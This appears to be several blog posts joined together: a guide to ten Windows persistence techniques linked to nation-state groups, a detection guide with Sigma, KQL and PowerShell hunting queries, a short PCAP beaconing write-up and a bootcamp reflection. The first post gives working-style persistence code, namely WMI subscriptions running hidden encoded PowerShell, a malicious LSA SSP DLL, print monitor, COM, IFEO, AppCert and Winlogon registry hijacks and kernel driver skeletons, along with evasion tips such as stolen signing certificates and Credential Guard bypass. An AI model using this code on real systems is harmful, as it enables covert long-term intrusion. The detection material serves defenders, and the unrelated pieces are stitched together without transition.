Khalid Alshaibani

Executive Summary

This comprehensive analysis examines ten sophisticated Windows persistence mechanisms currently employed by nation-state actors and advanced persistent threat (APT) groups. These techniques represent the cutting edge of stealth persistence capabilities, designed to withstand modern endpoint detection and response (EDR) solutions while maintaining long-term access to high-value targets. Our research draws from observed behaviors of prominent threat groups including APT28 (Fancy Bear), APT29 (Cozy Bear), Equation Group, APT41, Lazarus Group, and Sandworm.

1. WMI Event Subscription with Filter-To-Consumer Binding

Windows Management Instrumentation (WMI) provides a powerful persistence framework that APT29 has particularly favored for its stealth characteristics. The technique leverages the event-driven architecture of WMI to establish persistence that triggers based on specific system conditions.

Technical Implementation:

# Nation-state grade WMI persistence
$FilterArgs = @{
    Name = "WindowsSystemUpdate"
    EventNamespace = "root\cimv2"
    QueryLanguage = "WQL"
    Query = "SELECT * FROM __InstanceModificationEvent WITHIN 30 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"
}

$Filter = Set-WmiInstance -Namespace root\subscription -Class __EventFilter -Arguments $FilterArgs

$ConsumerArgs = @{
    Name = "WindowsSystemUpdateConsumer"
    CommandLineTemplate = "powershell.exe -NoP -NonI -W Hidden -Enc <BASE64_ENCODED_PAYLOAD>"
}

$Consumer = Set-WmiInstance -Namespace root\subscription -Class CommandLineEventConsumer -Arguments $ConsumerArgs

Set-WmiInstance -Namespace root\subscription -Class __FilterToConsumerBinding -Arguments @{Filter=$Filter; Consumer=$Consumer}

Evasion Capabilities:

• Legitimate Microsoft naming conventions
• Configurable polling intervals (recommended >60 seconds)
• Integration with signed living-off-the-land binaries (LOLBins)

2. LSA Security Support Provider (SSP) Implementation

The Local Security Authority (LSA) Security Support Provider mechanism enables code execution within the LSASS process context, providing SYSTEM-level privileges. This technique has been effectively utilized by APT28 and the Duqu 2.0 framework.

Core Implementation:

// evil_ssp.c - Compile as DLL (must export SpLsaModeInitialize)
#include <windows.h>
#include <ntsecapi.h>

NTSTATUS SpLsaModeInitialize(ULONG LsaVersion, PULONG Mode, PVOID* DispatchTable) {
    // Execute payload in LSASS context (SYSTEM)
    WinExec("cmd.exe /c whoami > C:\\Windows\\Temp\\lsass.log", 0);
    return 0;
}

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved) {
    if (fdwReason == DLL_PROCESS_ATTACH) {
        // Optional: reflective loading or direct shellcode execution
    }
    return TRUE;
}

Registration Method:

reg add "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v "Security Packages" /t REG_MULTI_SZ /d "msv1_0\0schannel\0wdigest\0evil_ssp" /f

Evasion Strategies:

• Strategic DLL naming (e.g., lsasrvx.dll or msv1_0ext.dll)
• Memory-only reflective loading techniques
• Credential Guard bypass via mimikatz-style patches

3. Print Monitor/Print Processor Hijacking

This persistence mechanism exploits the Windows printing architecture, where malicious code can be executed through a compromised print monitor. APT41 has notably employed this technique in targeted operations.

Registration Process:

# Register malicious Print Monitor (runs as SYSTEM)
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Print\Monitors\PrintMonitor" /v "Driver" /t REG_SZ /d "evilmon.dll" /f

Malicious Monitor Implementation:

#include <windows.h>

VOID InitializePrintMonitor(LPWSTR pMonitorName) {
    WinExec("powershell -NoP -NonI -W Hidden -Enc <BASE64>", 0);
}

VOID OpenPrintMonitor(LPWSTR pMonitorName) {}
VOID ClosePrintMonitor(HANDLE hMonitor) {}

Evasion Techniques:

• Legitimate-looking naming (e.g., HPStatusMonitor.dll)
• Code signing with stolen certificates
• Integration with legitimate print drivers

4. COM Hijacking via InProcServer32

Component Object Model (COM) hijacking provides a sophisticated persistence mechanism by intercepting COM object loading. APT29 and APT34 have leveraged this technique for targeted operations.

Implementation Example:

# Hijack a high-privilege COM object
$CLSID = "{BCDE0395-E52F-467C-8E3D-C4579291692E}"  # Example: Shell Service Host
$regPath = "HKCU:\Software\Classes\CLSID\$CLSID\InProcServer32"

New-Item -Path $regPath -Force | Out-Null
New-ItemProperty -Path $regPath -Name "(Default)" -Value "C:\Windows\System32\evil_com.dll" -Force
New-ItemProperty -Path $regPath -Name "ThreadingModel" -Value "Both" -Force

Strategic Considerations:

• Target COM objects loaded by system processes (svchost.exe, dllhost.exe, explorer.exe)
• DLL proxying through export forwarding to legitimate DLLs
• Careful selection of COM objects to minimize detection probability

5. Boot Configuration Data (BCD) with EFI Bootkit

This persistence mechanism operates at the firmware level, providing resilience against typical operating system remediation techniques. The Equation Group and tools revealed in Vault 7 have demonstrated similar capabilities.

Boot Entry Configuration:

# Create hidden boot entry
bcdedit /create "{0}" /application BOOTSECTOR /d "Windows Recovery Environment"
bcdedit /set "{0}" path \EFI\Microsoft\Boot\bootmgfw.efi
bcdedit /set "{0}" description "Microsoft Windows Recovery"
bcdedit /default "{0}"

Advanced Implementation:

The technique involves replacing legitimate bootmgfw.efi with a malicious EFI binary that executes before Windows initialization, effectively creating a UEFI bootkit.

Evasion Mechanisms:

• Legitimate Microsoft certificates with valid EFI signatures
• Firmware persistence through SPI flash manipulation
• Integration with legitimate recovery environments

6. Image File Execution Options (IFEO) with SilentProcessExit

This persistence mechanism leverages Windows debugging infrastructure to establish code execution when specific processes terminate. APT32 and Lazarus Group have employed variations of this technique.

Configuration Example:

reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\svchost.exe" /v "GlobalFlag" /t REG_DWORD /d 0x200 /f
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\svchost.exe" /v "Monitoring" /t REG_DWORD /d 1 /f
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\svchost.exe" /v "Command" /t REG_SZ /d "C:\Windows\System32\evil.exe" /f

Operational Considerations:

• Targeting signed system processes
• Using Debugger values with signed LOLBins (e.g., rundll32.exe)
• Selecting processes that naturally restart to ensure persistence

7. AppCert DLLs with AppInit_DLLs

This technique intercepts process creation through application certification DLLs, providing broad persistence across the system. The mechanism operates at a deep level within the Windows process creation workflow.

Implementation:

# AppCert DLLs (loaded into every process that calls CreateProcess)
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\AppCertDlls" /v "AppCert" /t REG_SZ /d "C:\Windows\System32\evil_appcert.dll" /f

Enhanced Persistence:

• Code signing of the DLL to avoid detection
• Combination with Kernel Notify Routine registration for deeper persistence
• Careful payload design to minimize system impact and detection probability

8. Windows Service with Kernel Driver

This rootkit-level persistence mechanism combines a Windows service with a kernel driver, providing maximum stealth and privilege. The technique represents one of the most sophisticated persistence mechanisms currently observed.

Service Installation:

// Service installer (C++)
SC_HANDLE hSC = OpenSCManager(NULL, NULL, SC_MANAGER_CREATE_SERVICE);
CreateService(hSC, L"WindowsTelemetrySvc", L"Windows Telemetry Service",
    SERVICE_ALL_ACCESS, SERVICE_KERNEL_DRIVER, SERVICE_AUTO_START,
    SERVICE_ERROR_IGNORE, L"C:\\Windows\\System32\\drivers\\ntosmon.sys", NULL, NULL, NULL, NULL, NULL);

Evasion Capabilities:

• Legitimate driver naming conventions
• Stolen code-signing certificates (preferably EV certificates)
• Direct Kernel Object Manipulation (DKOM) to hide from security tools

9. Registry AutoStart with Hidden Registry Keys

This persistence technique leverages the Windows Registry while employing advanced hiding mechanisms to evade detection. APT5 and APT10 have demonstrated sophisticated implementations of this approach.

Implementation Examples:

# Hidden registry persistence using non-standard hive
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v "Shell" /t REG_SZ /d "explorer.exe, C:\Windows\evil.exe" /f

# Hide key using ACL + obscure name
$key = "HKLM:\SOFTWARE\Classes\.jpg\shell\open\command"
New-Item -Path $key -Force
Set-ItemProperty -Path $key -Name "(Default)" -Value "C:\Windows\System32\calc.exe"

Advanced Hiding Techniques:

• Registry hive redirection
• ACL manipulation to deny Administrators read access
• Non-printable characters in key names
• Alternative data streams for storage

10. Kernel Notify Routines with PsSetCreateProcessNotifyRoutine

This nation-state rootkit-level technique operates at the kernel level, intercepting process creation events across the system. The mechanism provides maximum stealth and control over system behavior.

Kernel Implementation:

// Kernel driver code (C)
#include <ntifs.h>

VOID CreateProcessNotify(
    PEPROCESS Process,
    HANDLE ProcessId,
    PPS_CREATE_NOTIFY_INFO CreateInfo
) {
    if (CreateInfo && wcsstr(CreateInfo->ImageFileName->Buffer, L"explorer.exe")) {
        // Inject into explorer.exe or spawn backdoor
    }
}

NTSTATUS DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath) {
    PsSetCreateProcessNotifyRoutineEx(CreateProcessNotify, FALSE);
    return STATUS_SUCCESS;
}

Evasion Strategies:

• Driver signing with stolen certificates
• PatchGuard bypass techniques
• Driver hiding via DKOM and SSDT hooking
• Careful implementation to maintain compatibility with Windows 11 24H2

Nation-State Preference Analysis (2025)

Based on current threat intelligence and operational observations, nation-state actors demonstrate distinct preferences for persistence mechanisms:

1. Kernel Driver + Notify Routines - Maximum stealth and control
2. LSA SSP / Credential Guard Bypass - High privilege access with credential harvesting
3. EFI / Bootkit (Firmware) - Resilience against OS-level remediation
4. Print Monitor + WMI Event Subscription - Balance of stealth and reliability
5. COM + IFEO SilentProcessExit - Sophistication with moderate implementation complexity

Defensive Considerations

Organizations seeking to defend against these advanced persistence mechanisms should implement a multi-layered security approach including:

• Enhanced endpoint monitoring with kernel-level visibility
• UEFI firmware integrity verification
• Registry auditing and anomaly detection
• Code signing policy enforcement
• Memory forensics capabilities
• Behavioral analytics for process creation patterns

These techniques represent the current state of the art in Windows persistence and demonstrate the evolving capabilities of nation-state actors. Detection requires advanced security tools and trained personnel capable of identifying subtle anomalies across multiple system layers.

Introduction

Nation-state threat actors (APT28, APT29/Cozy Bear, APT41, Lazarus Group, Sandworm) design persistence mechanisms that are extremely difficult to detect. These techniques often run as SYSTEM, survive reboots, blend with legitimate Windows components, and bypass most commercial EDRs.

This guide provides high-fidelity detection queries for all 10 advanced persistence techniques covered in our previous post. Every section includes:

• Sigma rules (ready for Elastic, Splunk, Sentinel)
• Sysmon queries
• Microsoft Defender for Endpoint / Sentinel KQL
• Live PowerShell hunting commands

Use these queries to strengthen your detection posture and hunt for sophisticated intrusions.

1. WMI Event Subscriptions

Sigma Rule

title: WMI Permanent Event Subscription - Nation State Activity
logsource:
  category: wmi_event
  product: windows
detection:
  selection:
    EventID: 19
    Namespace|contains: 'subscription'
    Query|contains: 'WITHIN'
  filter:
    Name:
      - 'WindowsUpdateFilter'
      - 'SystemUpdateFilter'
  condition: selection and not filter
level: high

Sysmon Query:

<EventID>19</EventID> AND (Namespace contains "subscription") AND (CommandLine contains "powershell" OR CommandLine contains "-Enc" OR CommandLine contains "cmd.exe")

KQL (Microsoft Sentinel / Defender for Endpoint):

DeviceProcessEvents
| where CommandLine has_any ("Set-WmiInstance", "__EventFilter", "CommandLineEventConsumer")
| where CommandLine has "root\\subscription"
| project Timestamp, DeviceName, InitiatingProcessName, CommandLine

Live PowerShell Hunt:

Get-WmiObject -Namespace root\subscription -Class __EventFilter | Select Name, Query
Get-WmiObject -Namespace root\subscription -Class CommandLineEventConsumer | Select Name, CommandLineTemplate

2. LSA Security Support Provider (SSP)

Sigma Rule

title: LSA Security Packages Registry Modification
logsource:
  category: registry_event
  product: windows
detection:
  selection:
    EventID: 13
    TargetObject|contains: 'SYSTEM\CurrentControlSet\Control\Lsa\Security Packages'
  condition: selection
level: critical

KQL:

DeviceRegistryEvents
| where RegistryKey has "Lsa\\Security Packages"
| where RegistryValueData has_any ("evil", "custom", "ssp", "lsasrvx")

Live Hunt:

Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" | 
  Select-Object -ExpandProperty "Security Packages"

Memory Note: Hunt for unsigned DLLs in lsass.exe exporting SpLsaModeInitialize.

3. Print Monitor / Print Processor Hijacking

Sigma Rule

title: Suspicious Print Monitor DLL Registration
logsource:
  category: registry_event
  product: windows
detection:
  selection:
    EventID: 13
    TargetObject|contains: 'Control\Print\Monitors'
    Details|endswith: '.dll'
  condition: selection
level: high

KQL:

DeviceRegistryEvents
| where RegistryKey has "Print\\Monitors" and RegistryValueName == "Driver"
| project Timestamp, DeviceName, RegistryValueData

Live PowerShell Hunt:

Get-ChildItem "HKLM:\SYSTEM\CurrentControlSet\Control\Print\Monitors" | 
  ForEach-Object { Get-ItemProperty $_.PSPath }

4. COM Object Hijacking

Sigma Rule

title: COM InProcServer32 Hijacking
logsource:
  category: registry_event
  product: windows
detection:
  selection:
    EventID: 13
    TargetObject|contains: 'CLSID\{'
    TargetObject|contains: 'InProcServer32'
    Details|endswith: '.dll'
  condition: selection
level: high

KQL:

DeviceRegistryEvents
| where RegistryKey has "InProcServer32" 
| where RegistryValueData endswith ".dll"
| where InitiatingProcessName !in ("regsvr32.exe", "rundll32.exe")

5. Image File Execution Options (IFEO) + SilentProcessExit

Sigma Rule

title: IFEO Debugger or SilentProcessExit Persistence
logsource:
  category: registry_event
  product: windows
detection:
  selection1:
    TargetObject|contains: 'Image File Execution Options'
    Details|contains: 'Debugger'
  selection2:
    TargetObject|contains: 'SilentProcessExit'
    Details|contains: 'Command'
  condition: selection1 or selection2
level: high

KQL:

DeviceRegistryEvents
| where RegistryKey has_any ("Image File Execution Options", "SilentProcessExit")
| project Timestamp, DeviceName, RegistryKey, RegistryValueData

6. AppInit_DLLs

Sigma Rule

title: AppInit_DLLs Registry Modification
logsource:
  category: registry_event
  product: windows
detection:
  selection:
    EventID: 13
    TargetObject|contains: 'Windows NT\\CurrentVersion\\Windows'
    TargetObject|contains: 'AppInit_DLLs'
  condition: selection
level: high

Live Hunt:

Get-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows" | 
  Select-Object AppInit_DLLs, LoadAppInit_DLLs

7. Boot Configuration Data (BCD) Modification

Sigma Rule

title: BCDedit Execution with Suspicious Parameters
logsource:
  category: process_creation
  product: windows
detection:
  selection:
    Image|endswith: 'bcdedit.exe'
    CommandLine|contains: 'bootmgfw.efi'
  condition: selection
level: medium

KQL:

DeviceProcessEvents
| where FileName == "bcdedit.exe"
| where ProcessCommandLine has_any ("create", "default", "bootmgfw", "EFI")

8. Kernel Driver Installation & Loading

Sigma Rule

title: Unsigned or Suspicious Kernel Driver Loaded
logsource:
  category: driver_load
  product: windows
detection:
  selection:
    EventID: 6
    ImageLoaded|endswith: '.sys'
    SignatureStatus: 'Unsigned'
  condition: selection
level: high

KQL:

DeviceImageLoadEvents
| where FileName endswith ".sys"
| where SignatureStatus != "Valid"
| where InitiatingProcessName in ("services.exe", "svchost.exe")

9. Registry AutoStart via Winlogon Shell/Userinit

Sigma Rule

title: Winlogon Shell or Userinit Modification
logsource:
  category: registry_event
  product: windows
detection:
  selection:
    TargetObject|contains: 'Winlogon'
    Details|contains: 'explorer.exe,'
  condition: selection
level: critical

KQL:

DeviceRegistryEvents
| where RegistryKey has "Winlogon" and (RegistryValueName in ("Shell", "Userinit"))
| where RegistryValueData contains ","

10. Kernel Notify Routines (PsSetCreateProcessNotifyRoutineEx)

Sigma Rule

title: Driver Registers Process Creation Notify Routine
logsource:
  category: driver_load
  product: windows
detection:
  selection:
    ImageLoaded|endswith: '.sys'
    Description|contains: 'monitor'
  condition: selection
level: medium

Advanced Memory Hunt (Volatility 3):

vol.py -f memory.dump windows.callbacks --name PsSetCreateProcessNotifyRoutineEx
vol.py -f memory.dump windows.driverirp

Bonus: Universal Persistence Hunting Script

Write-Host "[+] Starting Nation-State Persistence Hunt..." -ForegroundColor Green

Write-Host "`n=== WMI Subscriptions ===" -ForegroundColor Cyan
Get-WmiObject -Namespace root\subscription -Class __EventFilter | Select Name, Query

Write-Host "`n=== Print Monitors ===" -ForegroundColor Cyan
Get-ChildItem "HKLM:\SYSTEM\CurrentControlSet\Control\Print\Monitors" -Recurse

Write-Host "`n=== LSA Security Packages ===" -ForegroundColor Cyan
Get-ItemProperty "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" | Select-Object -ExpandProperty "Security Packages"

Write-Host "`n=== IFEO & SilentProcessExit ===" -ForegroundColor Cyan
Get-ChildItem "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options" -Recurse

Write-Host "`n=== AppInit_DLLs ===" -ForegroundColor Cyan
Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows" | Select AppInit_DLLs, LoadAppInit_DLLs

Write-Host "`nHunt completed." -ForegroundColor Green

Conclusion & Recommendations

These 10 techniques represent the current pinnacle of Windows persistence used by advanced persistent threats. Deploy the Sigma rules across your SIEM, enable Sysmon with a robust configuration (especially Events 12–21), and run the PowerShell hunter script regularly.

A PCAP file tells a story — you just have to know how to read it. In this write-up I walk through how I analyzed a suspicious capture and identified command-and-control activity.

Spotting the Beacon

The first red flag was timing. Using Wireshark's "Statistics → Conversations" view, one internal host was making outbound HTTPS connections to the same IP at almost perfectly regular intervals — every 60 seconds, with nearly identical payload sizes. Humans don't browse like that. Malware beacons do.

Digging Deeper

• Filtered DNS traffic and found long, high-entropy subdomains — a classic DNS tunneling indicator
• Checked TLS handshakes: the JA3 fingerprint matched known malicious tooling
• Extracted the destination IPs and domains as IOCs for blocking and retro-hunting

Key Takeaway

You don't always need to decrypt traffic to detect malicious activity. Timing patterns, payload sizes, DNS behavior, and TLS fingerprints reveal a huge amount. Master Wireshark's statistics tools — they're often faster than scrolling through packets.

Completing the LevelEffect Cybersecurity Bootcamp was one of the most intense and rewarding steps in my career journey. Here's an honest look at the experience and what I'd tell anyone considering the same path.

What the Training Covered

The program went deep into defensive operations: log analysis, endpoint telemetry, network monitoring, and incident response workflows. The hands-on labs were the highlight — investigating realistic attack scenarios rather than just reading theory.

What Challenged Me Most

• Correlating events across multiple data sources under time pressure
• Writing clear, professional incident reports — communication matters as much as technical skill
• Learning to say "I don't know yet" and following a methodology instead of guessing

Advice for Newcomers

Build a home lab, break things, and investigate them. Document everything you do — those write-ups become your portfolio. And don't rush: depth in fundamentals (networking, operating systems, logs) beats surface-level familiarity with a dozen tools.